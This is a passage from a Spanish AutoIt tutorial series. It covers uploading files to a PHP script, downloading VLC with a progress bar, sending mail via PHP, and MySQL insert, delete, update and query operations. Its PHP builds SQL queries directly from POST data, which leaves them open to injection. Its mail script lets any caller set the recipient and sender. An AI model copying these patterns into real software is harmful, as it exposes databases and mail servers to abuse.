ELIGE el ARCHIVO**  **Case** $msg=$Button1  $archivo\_elegido = FileOpenDialog("Elige"**,** @WindowsDir & "\"**,** "Imagenes (\*.jpg;\*.bmp)|Videos (\*.avi;\*.mpg))"**,** $FD\_FILEMUSTEXIST)  **If** @error **Then**  MsgBox($MB\_SYSTEMMODAL**,** ""**,** "Ningún archivo(s) seleccionado.")  FileChangeDir(@DocumentsCommonDir) **; Va a la carpeta de Documentos.**  **Else**  FileChangeDir(@DocumentsCommonDir) **; Va a la carpeta de Documentos.**  $archivo\_elegido = StringReplace($archivo\_elegido**,** "|"**,** @CRLF)  GUICtrlSetData($Label1**,**$archivo\_elegido) **; Pone la dirección del archivo en Label1**  **EndIf**  **; SUBE el ARCHIVO**  **Case** $msg=$Button2  $sube\_por\_php = "http://kio4.esy.es/sube\_archivo\_autoit.php?action=subelo" **; PHP que tomará el archivo y lo guardará.**  $Formulario = \_  '' & \_  ' ' & \_  ''  $Abrir = \_WinHttpOpen()  $envio = \_WinHttpSimpleFormFill($Formulario**,** $Abrir**,** **Default,** "name:sube\_archivo"**,** $archivo\_elegido) **; Rellena el Formulario**  **; Vuelta de información.**  **If** @error **Then**  MsgBox(4096**,** "Error."**,** "Número de error = " & @error**,** 3)  **Else**  Beep(1000**,**400)  MsgBox(0**,** "Información."**,** "Recibido:" & @CRLF & $envio & @CRLF**,** 3)  **EndIf**  \_WinHttpCloseHandle($Formulario)  \_WinHttpCloseHandle($Abrir)  **EndSelect**  **Wend**  **Exit** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- Si queremos filtrar otros tipo de archivos ponemos:

"Imagenes (\*.jpg;\*.bmp)|Videos (\*.avi;\*.mpg) **|Texto (\*.txt;\*.doc;\*.docx)**"

- En el código, cuando la línea es muy larga, se puede escribir en distintos renglones indicándolos mediante la línea de guión bajo **\_**

$Formulario =**\_**  
'<form action="' & $sube\_por\_php & '" method="post" enctype="multipart/form-data">' &**\_**  
' <input type="file" name="sube\_archivo"/>' & \_  
'</form>'

- Aquí llama al archivo PHP que se encuentra en el servidor web.

$sube\_por\_php = "http://kio4.esy.es/**sube\_archivo\_autoit.php**?action=subelo" ; PHP que tomará el archivo y lo guardará.

- El PHP devuelve una respuesta mediante **echo**, (también se puede devolver mediante **print**).

- El AutoIt recoje esa información mediante **$envio**.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- Busca como sería la elección de varios archivos en el FileOpenDialog, MULTISELECT

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**73.- Bajar archivo de internet con barra de progreso.**

- En esta dirección se encuentra el interesante programa multimedia para oir música y ver vídeo **VLC**:

- <http://mirror.de.leaseweb.net/videolan/vlc/2.2.4/win32/vlc-2.2.4-win32.exe> ocupa 29 MB.

- Vamos a crear una aplicación con Autoit que baje ese archivo de **29 MB** y lo guarde en nuestra carpeta de Windows **C:\Temp**

- Además mientras se va bajando ese archivo a nuestro ordenador, saldrá una **barra de progreso de bajada**.

- Seguiremos este mensaje:

<https://www.autoitscript.com/forum/topic/186324-calculate-and-reduce-file-size-during-download/#comment-1338099>

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Aplicación en AutoIt para bajar un archivo y guardarlo en nuestro ordenador.**

- Ejecútalo y luego consulta la carpeta **C:\Temp**, ahí estará el archivo **vlc-2.2.4-win32.exe**

- No tiene formulario, solo sale el ventanita del progreso de bajada.

- El cerebro de la bajada es**InetGet.**

<https://www.autoitscript.com/autoit3/docs/functions/InetGet.htm>

<https://www.autoitscript.com/autoit3/docs/functions/InetGetSize.htm>

<https://www.autoitscript.com/autoit3/docs/functions/InetGetInfo.htm>

<https://www.autoitscript.com/autoit3/docs/functions/ProgressSet.htm>

|  |
| --- |
| **Código para el AutoIt** |
| ProgressOn(""**,** "Bajando VLC..."**,** "0%"**,** 100**,** 100**,** 16)  $iPlaces = 2  $url = 'http://mirror.de.leaseweb.net/videolan/vlc/2.2.4/win32/vlc-2.2.4-win32.exe'  $fldr = 'C:\Temp\VLC.exe'  $hInet = InetGet($url**,** $fldr**,** 1**,** 1)  $URLSize = InetGetSize($url)  **While** Not InetGetInfo($hInet**,** 2)  Sleep(100)  $Size = InetGetInfo($hInet**,** 0)  $Percentage = Int($Size / $URLSize \* 100)  $iSize = $URLSize - $Size  ProgressSet($Percentage**,** \_GetDisplaySize($iSize**,** $iPlaces = 2) & " " & $Percentage & " %")  **WEnd**  ProgressOff()  **Func** \_GetDisplaySize($iTotalDownloaded**,** **Const** $iPlaces)  **Local** **Static** $aSize[4] = ["Bytes"**,** "KB"**,** "MB"**,** "GB"]  **For** $i = 0 **to** 3  $iTotalDownloaded /= 1024  **If** (Int($iTotalDownloaded) = 0) **Then** Return Round($iTotalDownloaded \* 1024**,** $iPlaces) & " " & $aSize[$i]  **Next**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Baja archivo y tu eliges en qué carpeta lo guardas.**

- Se basa en el ejemplo anterior, se baja archivo. Sale una ventana para la elección de la carpeta donde lo quieres guardar.

- Utilizaremos la función SaveAsDialog: <https://www.autoitscript.com/autoit3/docs/functions/FileSaveDialog.htm> para indicar dónde lo queremos guardar.

|  |
| --- |
| **Código para el AutoIt con Diálogo para guardar.** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <File.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Bajar archivo - Juan A. Villalpando"**,** 613**,** 431**,** 192**,** 132)  $Button1 = GUICtrlCreateButton("Pulsa para bajar ese archivo"**,** 96**,** 96**,** 417**,** 49)  $Label1 = GUICtrlCreateLabel("Escribe la dirección completa del archivo que quieres bajar."**,** 104**,** 16**,** 361**,** 20)  $Input1 = GUICtrlCreateInput("http://mirror.de.leaseweb.net/videolan/vlc/2.2.4/win32/vlc-2.2.4-win32.exe"**,** 56**,** 48**,** 489**,** 24)  **; Juan A. Villalpando - KIO4.COM**  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  HotKeySet("{ESC}"**,** "Parar\_progreso") **; Pulsar Escape para parar la ventanida de Progreso.**  **Local** $disco = ""**,** $directorio = ""**,** $nombre\_archivo = ""**,** $extension = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $direccion = GUICtrlRead($Input1)  $Partes = \_PathSplit($direccion**,** $disco**,** $directorio**,** $nombre\_archivo**,** $extension) **; Obtener el nombre del archivo**  $iPlaces = 2  ProgressOn(""**,** "Bajando archivo..."**,** "0%"**,** 100**,** 100**,** 16) **; Ventanita de bajada.**  $donde\_guardo = FileSaveDialog ("Carpeta donde guardar."**,** @DocumentsCommonDir**,**"" **,**""**,** $nombre\_archivo & $extension)  $hInet = InetGet($direccion**,** $donde\_guardo**,** 1**,** 1)  $URLSize = InetGetSize($direccion) **; Tamaño del archivo**  **While** Not InetGetInfo($hInet**,** 2) **; Mientras no termine de bajar hacer esto...**  Sleep(100)  $Size = InetGetInfo($hInet**,** 0)  $Percentage = Int($Size / $URLSize \* 100)  $iSize = $URLSize - $Size  ProgressSet($Percentage**,** \_GetDisplaySize($iSize**,** $iPlaces = 2) & " " & $Percentage & " %")  **WEnd**  ProgressOff()  **EndSelect**  **Wend**  **Exit**  **Func** \_GetDisplaySize($iTotalDownloaded**,** **Const** $iPlaces)  **Local** **Static** $aSize[4] = ["Bytes"**,** "KB"**,** "MB"**,** "GB"]  **For** $i = 0 **to** 3  $iTotalDownloaded /= 1024  **If** (Int($iTotalDownloaded) = 0) **Then** Return Round($iTotalDownloaded \* 1024**,** $iPlaces) & " " & $aSize[$i]  **Next**  **EndFunc**  **Func** Parar\_progreso()  ProgressOff()  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Comentarios.**

- No confundir**FileOpenDialog** que se utilizar para elegir un archivo para luego leerlo, subirlo a Internet, borrarlo,... lo vimos en [72\_elegir\_archivo\_subir.htm](http://kio4.com/autoit/72_elegir_archivo_subir.htm)

- **FileSaveDialog** que es para elegir dónde se guardará un archivo.

- Al pulsar la tecla ESC, paramos la ventanita de progreso, pero**la bajada continúa**. Probando con InetClose ($hInet), sigue sin parar. No se puede cerrar la formulario hasta que no termine de bajar. De todos modos, baja en segundo plano, es decir mientras está bajando podemos realizar otras acciones en el ordenador.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Baja un archivo de imagen y lo presenta en un Pics.**

- Un Pics puede contener imágenes de tipo**BMP, JPG y GIF** (no animados).

- Hay algunos sitios web que no dejan bajar sus archivos de imágenes.

|  |
| --- |
| **Código para el AutoIt con Diálogo para guardar.** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  #include <File.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Bajar archivo - Juan A. Villalpando"**,** 613**,** 431**,** 192**,** 132)  $Button1 = GUICtrlCreateButton("Pulsa para bajar ese archivo"**,** 96**,** 96**,** 417**,** 49)  $Label1 = GUICtrlCreateLabel("Escribe la dirección completa del archivo que quieres bajar."**,** 104**,** 16**,** 361**,** 20)  $Input1 = GUICtrlCreateInput("http://photos.wikimapia.org/p/00/00/31/40/26\_big.jpg"**,** 56**,** 40**,** 489**,** 24)  $Pic1 = GUICtrlCreatePic(""**,** 136**,** 184**,** 369**,** 233)  **; Juan A. Villalpando - KIO4.COM**  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  HotKeySet("{ESC}"**,** "Parar\_progreso") **; Pulsar Escape para parar la ventanida de Progreso.**  **Local** $disco = ""**,** $directorio = ""**,** $nombre\_archivo = ""**,** $extension = ""  **While** 1  $msg = GuiGetMsg()  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **Case** $msg = $Button1  $direccion = GUICtrlRead($Input1)  $Partes = \_PathSplit($direccion**,** $disco**,** $directorio**,** $nombre\_archivo**,** $extension) **; Obtener el nombre del archivo**  $iPlaces = 2  ProgressOn(""**,** "Bajando archivo..."**,** "0%"**,** 100**,** 100**,** 16) **; Ventanita de bajada.**  $donde\_guardo = FileSaveDialog ("Carpeta donde guardar."**,** @DocumentsCommonDir**,**"" **,**""**,** $nombre\_archivo & $extension)  $hInet = InetGet($direccion**,** $donde\_guardo**,** 1**,** 1)  $URLSize = InetGetSize($direccion) **; Tamaño del archivo**  **While** Not InetGetInfo($hInet**,** 2) **; Mientras no termine de bajar hacer esto... Progreso.**  Sleep(100)  $Size = InetGetInfo($hInet**,** 0)  $Percentage = Int($Size / $URLSize \* 100)  $iSize = $URLSize - $Size  ProgressSet($Percentage**,** \_GetDisplaySize($iSize**,** $iPlaces = 2) & " " & $Percentage & " %")  **WEnd**  ProgressOff()  MsgBox(0**,**"Dirección de almacenamiento."**,** $donde\_guardo)  GUICtrlSetImage($Pic1**,** $donde\_guardo)  **EndSelect**  **Wend**  **Exit**  **Func** \_GetDisplaySize($iTotalDownloaded**,** **Const** $iPlaces)  **Local** **Static** $aSize[4] = ["Bytes"**,** "KB"**,** "MB"**,** "GB"]  **For** $i = 0 **to** 3  $iTotalDownloaded /= 1024  **If** (Int($iTotalDownloaded) = 0) **Then** Return Round($iTotalDownloaded \* 1024**,** $iPlaces) & " " & $aSize[$i]  **Next**  **EndFunc**  **Func** Parar\_progreso()  ProgressOff()  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**74.- Enviar correo. PHP.**

- Escribimos un mensaje y una dirección y mediante PHP se envía un correo a esa dirección.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
1.- Archivo PHP.**

- Subimos este archivo a nuestro servidor.

|  |
| --- |
| **correo\_envia.php** |
| <?php  $datos=$\_POST**;**  $para = $datos**[**'enviar\_a'**];**  $decorreo = $datos**[**'decorreo'**];**  $asunto = $datos**[**'asunto'**];**  $mensaje = $datos**[**'mensaje'**];**  $nombre = $datos**[**'nombre'**];**  **//if (mail($para, $asunto, $mensaje, $decorreo))**  **if** **(**mail**(**$para**,** $asunto**,** $mensaje**,** "From: $nombre <$decorreo>"**))**  **{**  **echo(**"Mensaje enviado"**);**  **}**  **else**  **{**  **echo(**"Error en el envio!..."**);**  **}**  ?> |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Aplicación en AutoIt para enviar correo.**

|  |
| --- |
| **Código para el AutoIt** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=**  $Form1 = GUICreate("Enviar correo - Juan A. Villalpando"**,** 588**,** 431**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Asunto: "**,** 32**,** 32**,** 51**,** 20)  $Input1 = GUICtrlCreateInput("Prueba de correo"**,** 104**,** 24**,** 449**,** 24)  $Label2 = GUICtrlCreateLabel("Mensaje; "**,** 32**,** 80**,** 62**,** 20)  $Edit1 = GUICtrlCreateEdit(""**,** 104**,** 72**,** 449**,** 97)  GUICtrlSetData(-1**,** "Esto es una prueba de envío")  $Label3 = GUICtrlCreateLabel("Correo: "**,** 40**,** 208**,** 51**,** 20)  $Input2 = GUICtrlCreateInput("juan7980@yahoo.com"**,** 112**,** 208**,** 441**,** 24)  $Button1 = GUICtrlCreateButton("Enviar correo"**,** 168**,** 256**,** 273**,** 65)  $Label4 = GUICtrlCreateLabel("Label4"**,** 128**,** 336**,** 381**,** 84)  GUISetState(@SW\_SHOW)  **#EndRegion ### END Koda GUI section ###**  $Respuesta=""  **While** 1  $msg = GuiGetMsg()  $asunto = GUICtrlRead($Input1)  $mensaje = GUICtrlRead($Edit1)  $enviar\_a = GUICtrlRead($Input2)  $nombre = "Juan"  $decorreo = "remitente@yahoo.com"  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Botón REGISTRAR**  **Case** $msg = $Button1  $datos = "asunto=" & $asunto & "&mensaje=" & $mensaje & "&enviar\_a=" & $enviar\_a & "&nombre=" & $nombre  enviar()  **EndSelect**  **Wend**  **Exit**  **; Enviar**  **Func** enviar()  $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")  $oHTTP**.**Open("POST"**,** "http://kio4.esy.es/correo\_envia.php"**,** False)  $oHTTP**.**SetRequestHeader("Content-Type"**,** "application/x-www-form-urlencoded")  $oHTTP**.**Send($datos)  **; Recibir**  $Respuesta = $oHTTP**.**ResponseText  $Codigo = $oHTTP**.**Status  Beep(800**,**500)  GUICtrlSetData($Label4**,**$Respuesta)  Sleep(2000)  GUICtrlSetData($Label4**,**"") **; Borra Label4**  **EndFunc** |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
- Propuesta.**

- **\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**75.- Subir, borrar, modificar, ver datos en MySQL.**

- Vamos a subir, borrar, modificar, ver datos en una base de datos remota MySQL. Lo haremos mediante PHP.

- Sería conveniente haber estudiado los tutoriales de App Inventor y MySQL ya que las bases de datos y los archivos que vamos a utilizar son muy parecidos a los que vimos en esos tutoriales. De todos modos se puede seguir este tutorial sin haber visto el susodicho.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**1.- Necesitamos un hosting.**

- Vamos a creanos una cuenta en un **hosting gratuito** donde estará nuestra base de datos MySQL. Lo vamos hacer en Hostinger.

- Lee este tutorial y créate una **cuenta gratuita en Hostinger**.

- Además aprende a subir archivos a Hostinger mediante el**cliente de FTP Mozilla.**

- También aprende a **crear una base de datos mediate PhpMyAdmin** en Hostinger.

- Todo eso lo puedes ver en este tutorial.

[**317.- Hosting gratuito Hostinger.**](http://kio4.com/appinventor/317_hosting_gratuito_3.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Creación de una base de datos y una tabla.**

- Al final del tutorial mencionado anteriormente creamos una base de datos llamada **u798509677\_comun**, con un usuario llamado **u798509677\_juan**, la base de datos está en **mysql.hostinger.es**.

**- Pues bien más adelante cuando veamos los archivos PHP tendremos que poner esta información para comunicarnos desde PHP con la base de datos:**

// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor  
$db\_host="mysql.hostinger.es";  
$db\_name="u78509677\_comun";  
$db\_login="u78509677\_juan";  
$db\_pswd="contraseña";  
$link = mysql\_connect($db\_host, $db\_login, $db\_pswd);

- Dentro de esa base de datos vamos a crear una tabla llamada **personas**

- La forma de crearla la vimos en este tutorial:

[**335\_i.- MySQLi y PHP Web.**](http://kio4.com/appinventor/335_php_mysql_web_i.htm)**Insertar. Borrar. Actualizar. Consultar. En versión MySQLi.**

- Creamos una tabla llamada **"personas"** con 4 campos:

id, INT (11), Auto\_Increment, Primaria  
Nombre, varchar(10)  
Edad, varchar(3)  
Ciudad, varchar(12)

- Ya tenemos la base de datos y la tabla preparadas para recibir datos.

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
3.- Archivo PHP.**

- También lo vimos en el tutorial: [**335\_i.- MySQLi y PHP Web.**](http://kio4.com/appinventor/335_php_mysql_web_i.htm)**Insertar. Borrar. Actualizar. Consultar. En versión MySQLi.**

- Voy a modificar un poco ese archivos PHP que vimos en ese tutorial.

- Este archivo recibe mediante $\_POST los datos que enviará AutoIt. Identificará la base de datos:

// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor  
$db\_host="mysql.hostinger.es";  
$db\_name="u78509677\_comun";  
$db\_login="u78509677\_juan";  
$db\_pswd="contraseña";  
$link = mysql\_connect($db\_host, $db\_login, $db\_pswd);

- Según el primer elemento enviado (**insertar, borrar, modificar, consultar**) irá a un trozo de código que hará esa operación.

- Enviará una Respuesta de vuelta al AutoIt.

- Recuerda que al trabajar con este tipo de archivos debes tener cuidado con la comillas 'simples' y las "dobles".

|  |
| --- |
| **i\_bd\_unida\_autoit.php** |
| <?php  **// Juan Antonio Villalpando**  **// juana1991@yahoo.com**  **// http://kio4.com**  **// 1.- IDENTIFICACION nombre de la base, del usuario, clave y servidor**  $db\_host="mysql.hostinger.es"**;**  $db\_name="u798509677\_comun"**;**  $db\_login="u798509677\_juan"**;**  $db\_pswd="contraseña"**;**  **// 2.- CONEXION A LA BASE DE DATOS**  $link = **new** mysqli**(**$db\_host**,** $db\_login**,** $db\_pswd**,** $db\_name**);**  $datos = $\_POST**;**  $eleccion = $\_POST**[**'eleccion'**];**  **/////////////////////////////// INSERTAR ////////////////////////////////////**  **if(**$eleccion == 'insertar'**){**  $nombre = $\_POST**[**'nombre'**];**  $edad = $\_POST**[**'edad'**];**  $ciudad = $\_POST**[**'ciudad'**];**  $query="insert into personas (Nombre, Edad, Ciudad) values ('$nombre','$edad','$ciudad')"**;**  $result = mysqli\_query**(**$link**,** $query**);**  **print(**"Datos agregados a la base."**);**  mysqli\_close**(**$link**);**  **}**  **/////////////////////////////// BORRAR ////////////////////////////////////**  **if(**$eleccion == 'borrar'**){**  $nombre = $\_POST**[**'nombre'**];**  $query="delete from personas where Nombre='$nombre'"**;**  $result = mysqli\_query**(**$link**,** $query**);**  **print(**"Datos borrados."**);**  mysqli\_close**(**$link**);**  **}**  **////////////////////////////// MODIFICAR /////////////////////////////////////**  **if(**$eleccion == 'modificar'**){**  $nombre = $\_POST**[**'nombre'**];**  $edad = $\_POST**[**'edad'**];**  $ciudad = $\_POST**[**'ciudad'**];**  $query="update personas set Edad='$edad', Ciudad='$ciudad' WHERE Nombre='$nombre'"**;**  $result = mysqli\_query**(**$link**,** $query**);**  **print(**"Datos modificados."**);**  mysqli\_close**(**$link**);**  **}**  **////////////////////////////// CONSULTAR /////////////////////////////////////**  **if(**$eleccion == 'consultar'**){**  $nombre = $\_POST**[**'nombre'**];**  **// RECOGIDA DE DATOS DEL FORMULARIO**  $nombre=$\_POST**[**'nombre'**];**  **// SELECCIÓN**  **if** **(**$nombre==''**){**  $hacer = mysqli\_query **(**$link**,** "SELECT \* FROM personas"**);**  **}**  **else** **{**  $hacer = mysqli\_query **(**$link**,** "SELECT \* FROM personas WHERE Nombre='$nombre' "**);**  **};**  **///////////////////////////////////////////////////////////////////////////////**  **// En los casos que hay SELECT y se debe enviar una respuesta actúa este código**  $resultado = mysqli\_query**(**$link**,** "SHOW COLUMNS FROM personas"**);**  $numerodefilas = mysqli\_num\_rows**(**$resultado**);**  **if** **(**$numerodefilas > 0**)** **{**    **while** **(**$rowr = mysqli\_fetch\_row**(**$hacer**))** **{**  **for** **(**$j=0**;**$j<$numerodefilas**;**$j++**)** **{**  $en\_csv **.**= $rowr**[**$j**].**", "**;**  **}**  $en\_csv **.**= ";\n"**;** **// El punto y como y la \n son para indicar nueva línea.**  **}**    **}**    **print** $en\_csv**;**  mysqli\_close**(**$link**);**  **}**  **///////////////////////////////////////////////////////////////////**  ?> |

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
4.- Aplicación en AutoIt para enviar los datos y recibirlos de MySQL.**

- Enviará un mensaje al servidor remoto y mediante PHP insertará la información en MySQL. Además mediante **print** devolverá una respuesta.

|  |
| --- |
| **Código para el AutoIt** |
| #include <ButtonConstants.au3>  #include <EditConstants.au3>  #include <GUIConstantsEx.au3>  #include <StaticConstants.au3>  #include <WindowsConstants.au3>  **#Region ### START Koda GUI section ### Form=d:**  $Form1\_1 = GUICreate("MySQL - Juan A. Villalpando"**,** 481**,** 506**,** 192**,** 132)  $Label1 = GUICtrlCreateLabel("Nombre: "**,** 16**,** 16**,** 59**,** 20)  $Input1 = GUICtrlCreateInput("Juan Antonio"**,** 80**,** 16**,** 177**,** 24)  $Label2 = GUICtrlCreateLabel("Edad: "**,** 16**,** 64**,** 43**,** 20)  $Input2 = GUICtrlCreateInput("33"**,** 80**,** 64**,** 33**,** 24)  $Label3 = GUICtrlCreateLabel("Ciudad: "**,** 16**,** 104**,** 53**,** 20)  $Input3 = GUICtrlCreateInput("Puerto Real"**,** 72**,** 104**,** 89**,** 24)  $Button1 = GUICtrlCreateButton("Insertar"**,** 24**,** 160**,** 113**,** 41)  $Button2 = GUICtrlCreateButton("Borrar"**,** 136**,** 160**,** 105**,** 41)  $Button3 = GUICtrlCreateButton("Modificar"**,** 240**,** 160**,** 113**,** 41)  $Button4 = GUICtrlCreateButton("Consultar"**,** 352**,** 160**,** 113**,** 41)  $Label4 = GUICtrlCreateLabel("Label4"**,** 256**,** 72**,** 45**,** 20)  $Edit1 = GUICtrlCreateEdit(""**,** 32**,** 232**,** 409**,** 201**,**BitOr($WS\_VSCROLL**,** $ES\_READONLY**,** $ES\_MULTILINE))  GUICtrlSetData(-1**,** "Edit1")  **; Juan A. Villalpando - KIO4.COM**  **#EndRegion ### END Koda GUI section ###**  GUISetState(@SW\_SHOW)  **While** 1  $msg = GuiGetMsg()  $nombre = GUICtrlRead($Input1)  $edad = GUICtrlRead($Input2)  $ciudad= GUICtrlRead($Input3)  **Select**  **Case** $msg = $GUI\_EVENT\_CLOSE  **ExitLoop**  **; Botón INSERTAR**  **Case** $msg = $Button1  $datos = "eleccion=insertar" & "&nombre=" & $nombre & "&edad=" & $edad & "&ciudad=" & $ciudad  enviar()  **; Botón BORRAR**  **Case** $msg = $Button2  $datos = "eleccion=borrar" & "&nombre=" & $nombre  enviar()  **; Botón MODIFICAR**  **Case** $msg = $Button3  $datos = "eleccion=modificar" & "&nombre=" & $nombre & "&edad=" & $edad & "&ciudad=" & $ciudad  enviar()  **; Botón CONSULTAR**  **Case** $msg = $Button4  $datos = "eleccion=consultar" & "&nombre=" & $nombre & "&edad=" & $edad & "&ciudad=" & $ciudad  enviar()  **EndSelect**  **Wend**  **Exit**  **;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;**  **; Enviar a MySQL**  **Func** enviar()  $oHTTP = ObjCreate("winhttp.winhttprequest.5.1")  $oHTTP**.**Open("POST"**,** "http://kio4.esy.es/i\_bd\_unida\_autoit.php"**,** False)  $oHTTP**.**SetRequestHeader("Content-Type"**,** "application/x-www-form-urlencoded")  $oHTTP**.**Send($datos)  **;Recibir de MySQL**  $Respuesta = $oHTTP**.**ResponseText  $Codigo = $oHTTP**.**Status  Beep(800**,**500)  $Presentar = StringReplace($Respuesta**,** ";"**,** @CRLF) ; Cambio de línea**.**  GUICtrlSetData($Edit1**,**$Presentar)  **EndFunc** |

- Según pulse un botón toma las variables **"eleccion"** correspondiente y demás datos.

- Cuando**"eleccion"** llegue al PHP, éste realizará una de las operaciones según sea esa **"eleccion"** (**insertar, borrar, modificar, consultar**)

- La función **enviar**, envía los datos.

- Para enviar se utiliza la librería objeto de Windows**winhttp.winhttprequest.5.5**

- Los datos de los botones son enviados a la página PHP que los procesará.

- El código PHP realizará las operaciones pertinente según la elección y devolverá una **Respuesta.**

- La respuesta la envía el PHP mediante**print**.

- [También la podría enviar mediante **echo**].

- El AutoIt toma la información que le ha enviado print, mediante

$Respuesta = $oHTTP.ResponseText

- He puesto**;**para indicar cambio de línea.

-----------------------------------------------------------------------------

- El Edit debe ser **MULTILINE** para verlos en distintos renglones.

- Para ver todos los usuario, deja el Input1 en blanco y pulsa "Consultar".

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_**

**78.- Registrar usuarios y autentificarse para entrar en la aplicación.**

- Para entrar en una aplicación un usuario debe previamente Registrarse con su nombre, clave y correo.

- Cuando te registres **se te enviará un correo** indicando que te has registrado.

- Para comprobar su fucionamiento es conveniente que pongas un correo verdadero.

- Una vez registrado cuando introduzca su nombre y clave, la pantalla se pondrá azul durante 2 segundos.

\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
**1.- Necesitamos un hosting.**

- En el tutorial anterior ya comentamos que debemos darnos de alta en un hosting.

[**317.- Hosting gratuito Hostinger.**](http://kio4.com/appinventor/317_hosting_gratuito_3.htm)

**\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_  
2.- Creación de una base de datos y una tabla.**

